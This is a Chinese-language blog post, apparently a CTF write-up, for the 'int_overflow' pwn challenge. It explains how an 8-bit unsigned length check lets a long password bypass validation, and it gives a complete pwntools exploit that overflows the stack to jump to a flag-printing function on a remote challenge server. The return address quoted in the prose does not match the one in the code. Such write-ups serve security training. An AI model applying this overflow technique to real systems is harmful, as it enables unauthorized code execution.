int_overflow

image.png

0x00 filechecksec

image.png

0x01 ida查看

  • 有一个login函数,最后有一个校验密码check_passwd函数
    image.png
  • 对密码长度进行了校验,要求长度>3并且<=8,但是这里使用的是unsigned __int8无符号类型,意思就是最大长度是255,但是密码输入长度是0x199u,所以存在一个溢出,只要输入的密码长度超过255,在260-264之间即可
    image.png
  • 长度检查已经绕过,那么怎么getshell或者拿到flag呢,查看ida,有一个what_is_this函数,所以直接返回到0x0804848b即可
    image.png

0x02 完整exp

from pwn import *

local=0
pc='./int_overflow'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    #gdb.attach(p,'c')
else:
    remote_addr=['111.198.29.45', 31543]
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

if __name__ == '__main__':
    cat_flag_addr = 0x0804868b
    ru('choice:')
    sl('1')
    ru('username:\n')
    sl('cxy')
    ru('passwd:\n')
    passwd = 'a'*0x14
    passwd += 'fake'
    passwd += p32(cat_flag_addr)
    passwd += 'b'*232
    sl(passwd)
    p.interactive()

0x03 结果

image.png
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 整数溢出题目,checksec 一波 可以进行栈溢出,但是我们发现要到达溢出点要先绕过v3的检测,v3是输入字符串...
    n0va阅读 4,396评论 2 1
  • 1.检查安全机制 2.找到溢出点 利用思路:有点不理解整数溢出 1.发现v3是8位无符号整数,则最大只能是255。...
    Zero_0_0阅读 3,635评论 0 1
  • 接下来我们看Base文件夹下的UIKIt文件夹的内容。 1.UIColor+YYAdd 这里看了这个类,里面有许多...
    充满活力的早晨阅读 6,867评论 0 1
  • 恭喜恭喜! 新婚快乐!! 三年抱俩!! 知道你们结婚 特别特别开心! 当你们看到这个 我人生第一次做的简书的时候!...
    汪汪小超人阅读 3,535评论 0 0
  • 在和姗成为好友之前,我一直不知道,女人还有第二张脸。 那天,她正在修指甲,涂指甲油,非常细心的样子,我看她那一本正...
    旧事随流水阅读 2,778评论 0 4